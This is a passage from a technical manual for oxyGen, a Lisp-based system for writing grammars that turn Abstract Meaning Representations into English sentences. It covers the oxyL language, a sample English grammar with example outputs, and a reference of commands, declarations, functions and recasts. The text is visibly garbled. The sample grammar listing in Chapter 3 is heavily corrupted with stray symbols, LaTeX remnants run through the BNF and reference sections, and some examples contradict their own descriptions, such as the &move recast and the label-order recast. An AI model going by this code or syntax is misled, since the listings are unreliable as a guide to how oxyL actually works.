A more detailed discussion of the motivation and advantages of oxyGen is presented in [2]. There is also an evaluation of oxyGen based on speed of performance, size of grammar, expressiveness of the grammar description language, reusability and readability/writability. The evaluation context is provided by comparing an Oxygen linearization grammar for English to two other implementations, one procedural (using Lisp) and one declarative (using Nitrogen linearization module). The three comparable linearization grammars were used to calculate speed and size. Overall, Oxygen had the highest number of advantages and its only disadvantage, speed, ranked second to the Lisp implementation (see Table 1.1). The version of oxyGen described in this manual is a more efficient implementation of Oxygen than the one evaluated in [2]. A second evaluation for a larger English grammar in oxyGen and Lisp showed Lisp is still faster than oxyGen. However the gap in speed between the Lisp and Oxygen implementations shrunk from Oxygen being 24 times slower than Lisp in [2] to only 1.5 times.
<table>
<thead>
<tr>
<th></th>
<th>Procedural (Lisp)</th>
<th>Hybrid (Oxygen)</th>
<th>Declarative (Nitrogen)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Speed</td>
<td>+</td>
<td>0</td>
<td>-</td>
</tr>
<tr>
<td>Size</td>
<td>0</td>
<td>+</td>
<td>-</td>
</tr>
<tr>
<td>Expressiveness</td>
<td>+</td>
<td>+</td>
<td>-</td>
</tr>
<tr>
<td>Reusability</td>
<td>-</td>
<td>+</td>
<td>+</td>
</tr>
<tr>
<td>Readability/Writability</td>
<td>-</td>
<td>+</td>
<td>-</td>
</tr>
</tbody>
</table>
Table 1.1: Oxygen Evaluation
Chapter 2
oxyL
oxyL (oxyGen Language) is the language used by oxyGen to write linearization grammars. It is a flexible and powerful language that has the power of a programming language but focuses on natural language realization. As a prelude to describing the syntax of oxyL, we will describe the form of the structures oxyL commands are applied to, Abstract Meaning Representations. Then, we will discuss oxyL’s basic tokens followed by the syntax of an oxyL file and oxyL rules and functions.
2.1 Abstract Meaning Representation
Abstract Meaning Representations (AMR) are labeled directed feature graphs written using the syntax of the Pennman Sentence Plan Language [4]:
\[
\begin{align*}
\text{AMR} & \ ::= \ \text{terminal} \ || \ \{\text{label} \ \text{role} \ \text{value}\}\}^+ \\
\text{value} & \ ::= \ \text{AMR} \ || \ \text{terminal} \\
\text{terminal} & \ ::= \ \text{word} \ || \ \text{wordlist}
\end{align*}
\]
Every node in an AMR has a label and one or more role-value pairs. Roles, i.e. features, are marked by a colon prefix except for the default role, \texttt{:inst} (instance), which can be represented as a forward slash /. Values may be meaning bearing terminal tokens or AMR nodes. These terminal tokens can be semantic concepts such as \texttt{china} or \texttt{love}, syntactic categories such as N or V, plain surface text strings such as “China”, or a list of any of them headed by the special token \texttt{*or*} such as (*or* man men). Except for a small number of reserved tokens used by oxyGen, most of the AMR tokens are user and application-defined. The only requirement is consistency between the AMRs and the oxyL grammars to linearize them. The roles and concepts of an AMR can be a mix of syntactic and semantic significance: thematic roles such as \texttt{:Agent} and \texttt{:Theme} and syntactic categories such as \texttt{:Subject} and \texttt{:ADV}. The following is an example of a basic AMR for the sentence
\textit{The United States}
unilaterally reduced the China textile export quota:
(6) (1 / |reduce|)
:CAT V
:Subject (2 / |united states| :CAT N)
:Object (3 / |quota|)
:CAT N
:MOD (4 / |china| :CAT N)
:MOD (5 / |textile| :CAT Adj)
:MOD (6 / |export| :CAT Adj))
:Manner (8 / |unilaterally| :CAT ADV))
In this example, (a2 / |united states| :CAT N) is the subject of the concept |reduce|. And similarly, N is the category of the concept |united states|. The basic role :inst or / is always present in a basic AMR.
However there are two other types of AMRs, that are instance-less: OR-AMR and AND-AMR. The first is a disjunction of basic AMRs, whereas the second is a conjunction of basic AMRs. Both are constructed using multiple copies of the same special role (:OR or :AND). An OR-AMR express lexical ambiguity, i.e., which structure to chose among many. For example, a variant of the above AMR in which the root concept is three way ambiguous would look as follows at the top node:
(7) (# :OR (# / |reduce| . . .)
:OR (# / |cat| . . .)
:OR (# / |decrease| . . .))
An AND-AMR, on the other hand, expresses linearization ambiguity, i.e., how to order the AMRs on the surface. The AMR in (6) expresses that ambiguity in the AMR for quota, which contains three identical roles (:MOD). That same AMR can be written using :ANDs as follows:
(8) (1 / |reduce|
:CAT V
:Subject (2 / |united states| :CAT N)
:Object (3 / |quota|)
:CAT N
:MOD (0 :AND (4 / |china| :CAT N)
:AND (5 / |textile| :CAT Adj)
:AND (6 / |export| :CAT Adj))
:Manner (8 / |unilaterally| :CAT ADV))
Handling :ANDs and :ORs is done automatically and is hidden from the user-defined grammar. The ambiguity of an OR-AMR is passed on to the word lattice, while AMRs under :ANDs are permuted to produce all possible linearizations.
There is one more special role, :X-role. It is used to express role ambiguity, i.e., a role can be of two or more role names. For example, The two AMR in (9) express the ambiguous sentence *John gave Paul a gift* and *John gave a gift to Paul.*
(9) $(# / |give|$
:subj |john|
:obj |gift|
:X-role $(# / X$
:iObj |paul|
:PP $(# / |to|$
:obj |paul))))
(0 :OR $(# / |give|$
:subj |john|
:obj |gift|
:iObj |paul))
:OR $(# / |give|$
:subj |john|
:obj |gift|
:PP $(# / |to|$
:obj |paul))))
These AMRs are different in that the first AMR expresses the ambiguity locally as an ambiguous role (indirect object versus prepositional phrase), whereas the second AMR expresses the ambiguity at the top level as two different AMRs altogether. Handling :X-roles is done automatically and is hidden from the users. They are expanded to full fledged OR-AMRs.
### 2.1.1 OxyL Basic Tokens
The function of different tokens in oxyL is marked through their form using a prefix symbol: variables are prefixed with a dollar sign (e.g. `$form`, `$tense`), role-names are prefixed with a colon (e.g. `:agent`, `:cat`) and functions are prefixed with an ampersand (e.g. `&eq`, `&ProperNameHash`).
In addition to general functions (built-in or user-defined), oxyL has a special class of functions called referential functions. These functions, which are prefixed with an `@` sign (e.g. `@goal`, `@this`), are used to access values corresponding to specific roles of the current AMR. For example, `@goal` returns the value corresponding to the role `:goal`. If the current AMR is (6) in section 2, `@subject` returns `(a2 / |united states| :cat m)`. The value of the instance role, `/`, is returned using the special referential functions `@/` or `@inst`. A referential function can specify the path from the current AMR’s root to any value under it by concatenating the references along such path. For instance, if
the current AMR is (6), @subject.cat returns N. If the current AMR contains multiple instances of the same role as in :MOD in 6, the values are returned in an AND-AMR. For example, if the current AMR is (6), @object.mod.inst returns (# :AND | china | :AND | textile | :AND | export). Access to the full current AMR is provided through the self-referential function @this. For example, @this.subject is equal to @subject.
The last oxyL basic token type is Macros, which are prefixed with a circumflex (e.g. "NP-NOM"). Macros are treated like variables except that while variables appear as is in the compiled grammar, macros are substituted in the compiler. The use of macros makes the grammar description more concise. For example, if a set of role-value pairs is very commonly used such as (:Form NP :Case NOM), they can be referred to using a single macro, "NP-NOM."
2.2 oxyL File
An oxyL file contains a set of declarations (see Table 2.2). Some provide meta-level information such as :Language and :Comment, while others allow importing Lisp code such as :Include and :Code. The declarations :Class, :Global and :Macro define variables for use by oxyCompile or oxyRun. The declaration :Morph allows the user to link the internal morphology handler to a specific user-defined morphology function. And the declaration :Debug allows the user to turn on and off the debugging utility provided by oxyDebug. The declaration :Recast allows the user to define functions for modifying AMRs using a special class of oxyL functions called recasts. the declaration :Rule allows the user to define specific modules to handle different phenomena such as the different types of phrases. The most important and the only obligatory declaration is MainRule which defines the core of the grammar\(^1\). The next section will describe the structure of an oxyL rule. The details of the use of all other declarations is left to Chapter 4.
\(^1\)In \cite{2}, a single declaration was available for the whole grammar :RULES. This has been since replaced with the declarations :Recast, :Rule and :MainRule which provide a higher level of modularity and efficiency.
<table>
<thead>
<tr>
<th>Declaration</th>
<th>Function</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>:Comment</td>
<td>Adds a Comment</td>
<td>:Comment "Hello World!"</td>
</tr>
<tr>
<td>:Language</td>
<td>Name of generated grammar</td>
<td>:Language "English"</td>
</tr>
<tr>
<td>:Include</td>
<td>Lisp file to load at runtime</td>
<td>:Include "EnglMorph.lisp"</td>
</tr>
<tr>
<td>:Code</td>
<td>User-defined Lisp functions</td>
<td>:Code ( <lisp-code> )</td>
</tr>
<tr>
<td>:Class</td>
<td>Defines a class of roles</td>
<td>:Class :THETA (:AG :TH :GOAL)</td>
</tr>
<tr>
<td>:Global</td>
<td>Declares a global variable</td>
<td>:Global $MORPH HTML</td>
</tr>
<tr>
<td>:Macro</td>
<td>Declares a macro</td>
<td>:Macro $PS ( :per 3 :num sing )</td>
</tr>
<tr>
<td>:Debug</td>
<td>Controls debugging mode</td>
<td>:Debug nil</td>
</tr>
<tr>
<td>:Morph</td>
<td>Defines the morphological generation function</td>
<td>:Morph $morph $word $morphemes</td>
</tr>
<tr>
<td>:Recast</td>
<td>Defines a recast</td>
<td>:Recast &PL (@this ++ ( :num PL ))</td>
</tr>
<tr>
<td>:Rule</td>
<td>Defines a rule</td>
<td>:Rule %S ( -> ( $S $V $O ) )</td>
</tr>
<tr>
<td>:MainRule</td>
<td>Defines the Main Function</td>
<td>:MainRule ( ( -> ( do %AP ) ) )</td>
</tr>
</tbody>
</table>
Table 2.1: oxyL Declarations
2.3 oxyL Rules
(10)
\[
\text{<RULE>} ::= ([-- <ASSIGN>]
\text{?? <COND> }
\rightarrow <RESULT>*)
[-> <RESULT> ] )
\text{<ASSIGN>} ::= ( (<variable> <value> ) )*
\text{<COND>} ::= <Boolean Expression>
\text{<RESULT>} ::= <RULE> || <SEQUENCE> ||
( DO <RULE-NAME> [ <AMR> ] )
\text{<SEQUENCE>} ::= ( { <AMR> } || <RECAST> )* )
( OR <SEQUENCE> <SEQUENCE> )* ||
( LISP <lisp-code> ) || ( CODE <lisp-code> )
\text{<RECAST>} ::= ( <AMR> <RECAST-OP> <RECAST-OP-ARGS> )
\]
The above BNF describes the syntax of an oxyL rule. A rule has an optional assignment section, introduced with ==, in which local variables are defined. The second part of a rule is an optional condition and result pair that can be repeated multiple times. Conditions are introduced with ?? and results are introduced with -. And finally an optional result is allowed as the default when all conditions fail. A result can be a rule in itself with all of the portions described above or it can be a sequence of AMRs or AMR-returning tokens such as variables or functions. It also can be a call to a user-defined rule using the special operator DO, which takes as an argument an optional AMR that defaults
to @this. The ability to embed rules within rules and declare local variables with deep scope allows users to limit the size of the grammar and increase the speed of its application logarithmically. The linear order of AMRs in the result specifies the linear order of the surface forms corresponding to these AMRs. The grammar is run recursively over each one of the different AMRs. This process continues until terminal values, i.e. surface forms, are reached. Consider the following oversimplified rule:
\[
(11) \quad (== ((\$form \ @form))
?? \ (\&eq \ $form \ S)
\Rightarrow \ (?? \ (\&eq \ @voice \ Passive)
\Rightarrow \ (@object \ (@passivize \ @inst) \ "by" \ @subject)
\Rightarrow \ (@subject \ @inst \ @object)))
\]
Initially, this rule takes the value of the role :form in the current AMR and assigns it to the variable $form. In the case the value of $form equals S, a second check on the voice of the current AMR is done. If the voice is passive, the passive word order is realized. Otherwise, the active voice word order is realized. The grammar is then called recursively over the AMRs of @subject, @object and @inst. The function @passivize takes the AMR of @inst as input and can return either a passive verb AMR that gets processed by the grammar or a terminal word sequence. In addition to AMRs, a linearization sequence can contain AMR recast operations. A recast operation is made out of an AMR followed by one or more pairs of recast operator and recast operator arguments. Recast operations modify AMRs before they are recursively run through the grammar. The recast mechanism is very useful in restructuring the current AMR or any of its components. For example, the ++ recast operator adds role-value pairs to an AMR. This is useful in cases such as adding case marking roles on the subject and object AMRs. The rule described above, (11) could be modified to specify case as follows:
\[
(12) \quad (== ((\$form \ @form))
?? \ (\&eq \ $form \ S)
\Rightarrow \ (?? \ (\&eq \ @voice \ Passive)
\Rightarrow \ (@object ++ (:case nom)) \ (@passivize \ @inst)
\"by" \ (@subject ++ (:case gen)))
\Rightarrow \ (@subject ++ (:case nom)) \ @inst
\@object ++ (:case acc))))
\]
Table 2.3 provides a list of some oxyL recast operators with their usage formalism and functionality. Note that the use of / in recast operations is different from its role as a shorthand for :inst.
Multiple recast operators can be listed one after another in the same recast. A recast can also be embedded in another recast. For example, the recast (@this &a (b a)) -- (b)) moves the role :b and its value under :b's sister :a using three different recast operations. Recasts can also
<table>
<thead>
<tr>
<th>Name</th>
<th>Op</th>
<th>Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Add</td>
<td>++</td>
<td>(<AMR> ++ (<role> <value>)) Add all <role>,<value>, pairs to AMR</td>
</tr>
<tr>
<td>Delete</td>
<td>--</td>
<td>(<AMR> -- (<role>)) Remove all <role>,<value>, pairs</td>
</tr>
<tr>
<td>Replace</td>
<td>&&</td>
<td>(AMR && (<role> <value>)) Replace all values of <role>,</td>
</tr>
<tr>
<td>Simple</td>
<td><<</td>
<td>(AMR << (<new-role> / (<role>))) Rename existing <role>, as <new-role></td>
</tr>
<tr>
<td>Recast</td>
<td><></td>
<td>(<AMR> <> ((<new-role>+) / (<role>))) Hierarchically rename available <role>, as <new-role>,</td>
</tr>
</tbody>
</table>
Table 2.2: oxyL Recast Operators
be accessed outside of results using the general recast function (& <recast>). This allows recasting an AMR any where before passing it to another function or Rule. For example, (do %Y (& @this ++ (:punct "."))) adds a punctuation mark before passing the current AMR to the rule %Y.
A result can also introduce alternative sequences using the special operator OR or make direct calls to Lisp functions using the special operator LISP (or CODE). The following example contains both OR and LISP operators:
(13)
(== (($name @name))
-> (OR (LISP (FORMAT nil "-a loves me" $name))
(LISP (FORMAT nil "-a hates me" $name)))))
Note that calls to Lisp functions should return AMRs (including strings) for proper operation.
The special main rule declared with :MainRule consists of a list of regular rules. For example, the following main rule does one of two things every time it is accessed: terminate generation by realizing nothing if the instance of the current AMR is nil or *empty*, or pass the current AMR to the X-bar rule %XP.
(14) :
(MainRule
;; Nothing to generate
(?? (& @inst (list nil |*empty*)))
-> ()
;; Basic rule, go to XP
(-& (do %XP)))
12
Chapter 3
Sample oxyL Grammar for English
This chapter presents a simple oxyL grammar that is used to linearize English syntactic dependency trees. The tokens used here are derived from the categories and relation in Dekang Lin’s Minipar parser [7]. Sample input AMRs and outputs using oxyLin and Nitrogen’s statistical extraction module are also presented.
3.1 The oxyL File
```
( :Language "Simple Inflected English Dependency"
:Comment "This is an oxyGen grammar for English Generation"
:Comment "version 1.0 / September 2001"
:Include "nitrolin.lisp"
:Debug nil
:Global $V (V VBE V_I V_N V_P V_N_A V_N_C V_N_I V_N_N V_C_N V_N_N_A
V_N_N_C V_N_N_P V_N_P_C V_N_N_P_A V_N_N_P_C V_N_N_P_N
V_N N xSAID SAIx SAIx)
:Global $N (N NN NUM N_A N_C N_P)
:Macro ~no-punct (~punct (a / [nil]))
:Class :sub (:S :SUBJ)
:Class :as (:AS-ARG :AS-HEAD :AS1)
:LOCATION :POSS :SC :SPELLOUT :TITLE)
```
:Recast &whX (\this \ll ((\wh / ((\wha :\whn :\whp)))))
:Recast &invX
\this \ll ((\inv / ((\INV-AUX :\INV-BE :\INV-HAVE))))
:Recast &auxH
\this \l! ((\aux1 :\aux2 :\aux3 :\aux4) / (\aux :\have :\be :\being))
:Rule %DET (\! (\pre \@ \rest \@ \inst \post))
:Rule %
\! ((\conj \@ \det \@ \num \@ \mod \@ \lex-mod \@ \gen \@ \HH
\@ \inst \n\@ \pn \@ \p \@ \pp \@ \mod-post \@ \comp1 \@ \comp2
\@ \P \@ \subcat \@ \rel \@ \no-punct) \@ \rel \@ \no-punct)
\@ \conj \ll ((\conj-word "and")))
:Rule %A
\! ((\conj \@ \rest \@ \num \@ \mod \@ \lex-mod \@ \mod \@ \HH
\@ \inst \n\@ \mod-post \@ \P \@ \subcat \@ \conj \ll ((\conj-word "and")))
:Rule %P
\! ((\inst \@ \rest \@ \P-SPEC \@ \Pcomp\@ \PCOMP-C \@ \subcat \@ \punct)
:Rule % V
\! ((\$to \l! (0 / \to) :\cond \@ \tense \@ \inf))
\@ \ex \@ \inv
\! ((\conj \@ \wh \@ \inv \@ \neg \@ \sub \@ \aux1 \@ \aux2 \@ \aux3 \$to
\@ \inst \n\@ \lex-mod \@ \obj \@ \obj2 \@ \desc \@ \pred \@ \AS \@ \AS2 \@ \P \@ \BY-SUBJ
\@ \guest \@ \rest \@ \MOD \@ \no-punct) \@ \subcat \@ \punct
\@ \conj \ll ((\conj-word "and")))
\! ((\conj \@ \wh \@ \sub \@ \aux1 \@ \neg \@ \aux2 \@ \aux3 \@ \aux4 \$to
\@ \inst \n\@ \lex-mod \@ \obj \@ \obj2 \@ \desc \@ \pred \@ \AS \@ \AS2 \@ \P \@ \BY-SUBJ
\@ \guest \@ \rest \@ \MOD \@ \no-punct) \@ \subcat \@ \punct
\@ \ conj \ll ((\conj-word "and")))
:Rule %V-punct
\! ((\ex \@ \punct)
\! (\do \%V)
\! ((\ex \@ \WH)
\! (\do \%V \& \this \ll ((\punct "\u201c")))
\! ((\eq \@ \aspect \@ \IMPERATIVE)
\! (\do \%V \& \this \ll ((\punct '!")))
\! (\do \%V \& \this \ll ((\punct ";")))
14
3.2 Input and Output
The following are four AMRs that were input to the linearization grammar described above. Each AMR is followed by oxyLin's output. The sentences in parentheses are Nitrogen's top choice.
(5 / |organized|
:POS V
:S (3 / |contest|
:POS N
:DET (1 / |the| :POS DET)
:NN (2 / |writing| :POS N))
:BE (4 / |was| )
:BY-SUBJ (6 / |by|
:POS PREP
:PCOMP-N (8 / |office|
:POS N
:DET (7 / |the| :POS DET)
:MOD-PST (9 / |of|
:POS PREP
:PCOMP-N (12 / |commissioner|
:POS N
:DET (10 / |the| :POS DET)
:MOD (11 / |official| :POS N)))))
(the writing contest was organized by the office of the official commissioner.)
how is the legal canadian system constituted?
(how is the canadian legal system constituted?)
the general following education courses
(the following general education courses)
of peace mind of continuous system operation
(peace mind of continuous system operation)
Chapter 4
oxyGen Reference
4.1 oxyGen Package
4.1.1 oxyGen Installation
The oxyGen package contains the following files:
oxycompile.lisp
oxyrun.lisp
oxylin.lisp
oxydebug.lisp
oxyload.lisp
The code files for the different oxyGen files. oxyload.lisp loads the files up.
make-oxygen-core.sh
A shell command for creating a dump of the oxygen system. The created dump file is called oxygen.core
oxycompile
A shell command for compiling oxyI files from the prompt. oxycompile needs oxygen.core to run properly.
Usage: oxycompile <oxyI-filename> <out>
The result of running oxyCompile is the creation of a <out>.core file and a shell command with the name <out>. The usage of the created shell command is:
<out> <AMR-filename> <out-filename> <mode>
where the optional argument <mode> is a keyword for the word lattice to surface module: oxylin or nitrolin. The default is oxylin.
oxypamr
A shell command for printing pretty AMRs. oxypamr needs oxygen.core to run properly.
Usage: oxypamr <amr-filename> <pretty-amr-filename>
nitrolin.lisp
Provides an interface between oxyGen and Nitrogen. This file needs to be included in an oxyL grammar if it is to be used. Activating nitroLin can be done by setting the <mode> argument to \verbatim nitroLin—in the appropriate functions.
4.1.2 oxyCompile
oxyCompile provides the functions necessary for compiling an oxyL grammar into a Lisp file. oxyCompile can be accessed directly from the shell using the shell command oxycompile described earlier.
(oxycompile <oxyL-grammar> <output-file>)
Compiles <oxyL-grammar> into a Lisp program and outputs it to <output-file>. The optional <output-file> defaults to "oxyout.lisp".
(oxycompile-file <oxyL-file> <output-file>)
Compiles the oxyL grammar in <oxyL-file> into a Lisp program and outputs it to <output-file>. The optional <output-file> defaults to "oxyout.lisp".
4.1.3 oxyRun
oxyRun provides functions necessary for proper operation of a compiled oxyL grammar.
(oxygen <AMR>)
Runs the oxyGen linearization grammar on an <AMR> and returns a word lattice.
(oxygen-file <AMR-file> <output-file> <mode>)
Runs the <AMR>s in <AMR-file> through the loaded oxyGen linearizer followed by the word lattice to surface module specified by the optional argument <mode> (oxylin or nitrolin). The output sentences are printed to <output-file>.
(&amrType <AMR>)
Returns the type of an AMR: word, wordlist, basicAmr, orAmr, andAmr, unknown
4.1.4 oxyLin
oxyLin provides functions for realizing a word lattice into strings. It is an alternative to using Nitrogen's Statistical Extraction module which realizes word lattices and assigns them uni/bigram scores.
(oxylin <word-lattice> <stream>)
Realizes <word-lattice> into strings and prints them to a file <stream>. <stream> is optional and is standard output by default.
(check-size <word-lattice>)
Returns the number of independent sequences in <word-lattice> without realizing it.
4.1.5 oxyDebug
oxyDebug provides functions for debugging a compiled oxyL grammar. It provides an output best comparable to Lisp's trace. Besides helping to figure out specific problems, the output of oxyDebug can be used to compare different grammars in terms of efficiency by comparing the number of calls they make to different functions. To use oxyDebug, an oxyL grammar should have the declaration :Debug &true. This forces oxyCompile to add calls to oxyDebug in the compiled grammar. Deactivating the debugging can be done by assigning the global variable *oxydebug* to nil.
(oxydb-open <file>)
Opens the file <file> and links it to the reserved output stream *oxydb-stream*. <file> is an optional argument that defaults to "oxydb.out".
(oxydb-close)
Closes the reserved output stream *oxydb-stream*.
(&oxydb <format> <var>)
Allows users to send messages to *oxydb-stream* from inside an oxyL grammar. <format> is a string that can include Lisp's format instructions. <var> is an optional variable.
(oxy-pamr <AMR> <stream>)
Pretty prints <AMR> to the optional output stream <stream>. <stream> defaults to standard output.
(oxy-pamr-file <in-file> <out-file>)
Reads AMRs from <in-file> and pretty prints them to <out-file>.
19
4.2 Declarations
:COMMENT <string>
Includes the comment <string> in the compiled file. This declaration produces no action. A Lisp comment ";" can also be used in oxyl files.
Example
:COMMENT "This is a comment"
:LANGUAGE <string>
Specifies the name of the generated grammar. This declaration currently acts like :COMMENT.
Example
:LANGUAGE "English"
:GLOBAL <variable> <value>
Declares a global variable <variable> and sets its value to <value>.
Example
:Global $mode HTML
:Global $articles ("a" "an" "the" ")
:CLASS :<class> (<role>+)
Declares a class role :<class> to represent all the roles in (<role>+). A variable $<class> is created automatically for :<class>. The referential function @<class> returns a basicAMR if only one of the roles in (<role>+ ) exists; otherwise an andAMR of all existing roles is returned. In both cases, the matching role is remembered in the returned value as a value to the reserved role :role.
Example
$THETA returns (:AGENT :THEME :SRC :GOAL :INSTRUMENT) and it can be used in recasts such as (@this -- $THETA) or (@this << (:new / $THETA))
@THETA of (0 / x :AGENT ag : x x : y y)
returns (0 / ag :ROLE :AGENT)
@THETA of (0 / x :AGENT ag : THEME th : x x : y y)
returns (0 : AND (0 / ag : ROLE : AGENT) : AND (0 / th : ROLE : THEME))
:MACRO ^<macro-name> <macro-body>
Declares a macro ^<macro-name> with the value <macro-body>. A macro acts like a global variable except that it is substituted by its value at compile time not run time. The use of macros makes the grammar description more concise.
Example
:MACRO ^NP-acc (:form NP :case acc)
(@this ++ ^NP-acc) is compiled as (@this ++ (:form NP :case acc))
:CODE (<lisp-code>+)
Adds Lisp code to the oxyL file. :CODE can be used to declare functions and variables. All user-defined functions must have the prefix & to run correctly. Similarly, all non-local variables must have the prefix $.
Example
:CODE ((setf $myvariable '(me me me))
(defun &even (x) (eevenp x))
(defun &odd (x) (oddp x))
(defun &concat (string1 string2)
(format nil "\a-a\"string1 string2)))
:INCLUDE <file-name>
Loads the Lisp file named <file-name>. All user-defined functions and variables must have the appropriate prefixes run correctly. Example
:INCLUDE "wordnet-data.lisp"
:INCLUDE "brown-corpus-stats.fasl"
:MORPH (<function> @word @morphemes)
Defines the morphology handling function for the system to access. <function> is linked by oxyCompile to the internal morphology handler |(oxymorph @word @morphemes)— oxymorph is fired by the morphology recast --. :MORPH links the arguments @word and @morphemes to the input arguments of function.
Example
:MORPH (&english-morph @word @morphemes)
:RECAST <recast-name> <recast-body>
Allows the user to define a function <recast-name> for modifying AMRs using oxyL's built-in recasts. Recasts are well explained in Chapter 2.
Example
:Recast &move (@this &@ (:a (a + (b @b))) -- (:b))
moves the role :b and its value under :b's sister :a:
(&move (0 / x :a (1 / a) :b (2 / b)))
returns (0 / x :a (1 / a) :b (2 / b))
:RULE <rule-name> <rule-body>
Defines a rule <rule-name> as <rule-body>. The definition of oxyL rules is well explained in Chapter 2. Rules can be named anything, but it is preferred that they have the prefix %. A rule can be activated with the special operator DO which takes an optional AMR as input. The default input is otherwise &this.
Example
:Rule %order (-> (@c @b @a @b @c))
(DO %order (0 / x :a a :b b :c c))
yields c b a b c
:MAINRULE (<rule>+)
Defines the main function in an oxyL grammar. This is the only obligatory declaration. The use of :MAINRULE is well described in Chapter 2.
:DEBUG <boolean>
Controls the inclusion of necessary code for debugging an oxyL grammar.
4.3 Built-in Functions
@<role-sequence>
Referential Function. Returns the value associated with the role at the end of the <role-sequence> of @this. <role-sequence> is constructed by listing the roles separated by periods and without the colon prefix.
Example
@this.subject.number returns the value of the role :number in the value of the role :subject under the current AMR.
(& <recast>)
General Recast Function. Returns the result of executing <recast>. This special function allows accessing oxyL built-in recasts as regular functions. This is useful for recasting an AMR before passing it as an argument to a rule or a function. This function cannot be used in a rule result.
Example
(do %NP (& (@subject ++ (:case nom)))))
(&ex <token> <AMR>)
Returns true if <token> exists in <AMR>. <token> can be a role or a word. <AMR> is optional and it defaults to @this.
(&nex <token> <AMR>)
Returns true if <token> doesn’t exist in <AMR>. <token> can be a role or a word. <AMR> is optional and it defaults to @this.
(&eq {<value1> <value2>})
Returns true if all <value1>-<value2> pairs are equal.
(&neq {<value1> <value2>})
Returns true if all <value1>-<value2> pairs are not equal.
(&in <AMR> (token>))
If <AMR> is a word, &in returns true if <AMR> exists in (<token>). If <AMR> is a wordlist, &in returns true if any word in <AMR> exists in (<token>). If <AMR> is a basic AMR, &in returns true if <AMR>.inst exists in (<token>). If <AMR> is an orAMR or andAMR, &in returns true if any <AMR>.inst ex-
ists in \(<\text{token}>=\).
&true
always returns T.
The following functions are implemented using their Lisp counterparts: &and
&eval &if ¬ &null &or "e
4.4 Built-in Recasts
\(<\text{AMR}>++\{\langle\text{role}\rangle \langle\text{value}\rangle\}^{+}\)
Add Recast. Returns a copy of \(<\text{AMR}>\) with added \langle\text{role}\rangle-\langle\text{value}\rangle pairs.
Adding the reserved role \texttt{inst} overwrites \(<\text{AMR}>\)\texttt{.inst}. If \(<\text{AMR}>\) is a \texttt{word}
or a \texttt{wordlist}, a basicAMR of the form (0 / \(<\text{AMR}>\) \{\langle\text{role}\rangle \langle\text{value}\rangle\}+) is returned.
Examples
(((0 / x :a a) ++ (:b b :c c)) \texttt{returns} (0 / x :a a :b b :c c)
("x" ++ (:d d)) \texttt{returns} (0 / "x" :d d)
((0 / x :a a) ++ (/ y :d d)) \texttt{returns} (0 / y :a a :d d)
\(<\text{AMR}>--\{\langle\text{role}\rangle\}^{+}\)
Delete Recast. Returns a copy of \(<\text{AMR}>\) with all \langle\text{role}\rangle-\langle\text{value}\rangle pairs removed. Deleting the reserved role \texttt{inst} causes the replacement of the
\langle\text{value}\rangle of \texttt{inst} with \texttt{nil}.
Examples
(((0 / x :a a :b b1 :b b2) -- (:b :z)) \texttt{returns} (0 / x :a a)
((0 / x :a a :b b :c c) -- (/ :c)) \texttt{returns} (0 / \texttt{nil} :a a :b b)
\(<\text{AMR}>\&\&\{\langle\text{role}\rangle \langle\text{value}\rangle\}^{+}\)
Replace Recast. Returns a copy of \(<\text{AMR}>\) with all values of \langle\text{role}\rangle replaced
with \langle\text{value}\rangle. If \langle\text{role}\rangle doesn’t exist in \(<\text{AMR}>\), it is added. If \(<\text{AMR}>\) is a
\texttt{word} or a \texttt{wordlist}, a basicAMR of the form (0 / \(<\text{AMR}>\) \{\langle\text{role}\rangle \langle\text{value}\rangle\}+) is returned.
Examples
(((0 / x :a a :b b1 :b b2) \&\& (:b b3 :z z))
\texttt{returns}(0 / x :a a :b b3 :b b3)
\(<\text{AMR}>\ll\langle\text{new-role}\rangle / \langle\text{role}\rangle^{+}\))
Simple Recast. Returns a copy of \(<\text{AMR}>\) with all \langle\text{role}\rangles renamed as
\langle\text{new-role}\rangle.
Examples
(((0 / x :a a :b b) \ll (:c / (:a :b))) \texttt{returns} (0 / x :c a :c b)
23
\[
\text{(<AMR> } \langle ? \text{ (</new\text{-role}> / </role>+) \langle \text{cond}>)
\]
*Conditional Recast.* Returns a copy of \(<\text{AMR}>\) with all \(<\text{role}>\)s renamed as \(<\text{new\text{-role}>}, \text{if } \langle \text{cond} \rangle \text{ is true. The special referential role } \text{@}\text{that} \text{ should}
\]
be used in \(<\text{cond}>\) to access the value of each recastable \(<\text{role}>\) one at a time. This is important in the case that several \(<\text{role}>\)s share the same name.
Examples
\[
((0 / x : a a : b \text{ b1 : b b2}) \langle ? ((:c / (:a :b)) (\&eq \text{@}\text{that}.\text{inst} \text{b1}))
\]
returns \((0 / x : a a : c \text{ b1 : b b2})\)
Conditionally recast :a and :b into :c if the inst value of "that" recastable role \((a \text{ or } b)\) equals \text{b1}.
\[
\text{(<AMR> } \langle ! \text{ (</new\text{-role}>+) / </role>+)\rangle)
\]
*Hierarchical Recast.* Returns a copy of \(<\text{AMR}>\) with \(<\text{role}>\)s hierarchically renamed as \(<\text{new\text{-role}>}, \text{Hierarchical renaming means that the first existing \(<\text{role}>\) is renamed to the first \(<\text{new\text{-role}>}; \text{and the second existing \(<\text{role}>\) is renamed to the second \(<\text{new\text{-role}>}; \text{and so on.}
\]
Examples
\[
((0 / x : d d : g g : a a) \langle ! ((:m :n) / (:a :b :c :d :e :f :g :h)))
\]
returns \((0 / x : n d : g g : m a)\)
\[
\text{(<AMR> } \langle o \text{ </role}>\rangle)
\]
*Order Recast.* Returns a copy of \(<\text{AMR}>\) with its \(<\text{role}>\)s renamed as \(<\text{role}>\)-i where i enumerates the order in which \(<\text{role}>\) appears in \(<\text{AMR}>\).
Example
\[
((3 / x : a (1 / a) : b (2 / b1) : b (4 / b2)) \langle o :b
\]
returns \((3 / x : a (1 / a) : b-1 (2 / b1) : b-2 (4 / b2))\)
\[
\text{(<AMR> } \langle on \text{ </role}>\rangle)
\]
*Label Order Recast.* Returns a copy of \(<\text{AMR}>\) with its \(<\text{role}>\)s renamed as \(<\text{role}>\)-i where i is the node label of the value of \(<\text{role}>\).
Example
\[
((3 / x : a (1 / a) : b (2 / b1) : b (4 / b2)) \langle o :b
\]
returns \((3 / x : a (1 / a) : b-1 (2 / b1) : b-4 (4 / b2))\)
\[
\text{(<AMR> } \langle oi \text{ </role}>\rangle)
\]
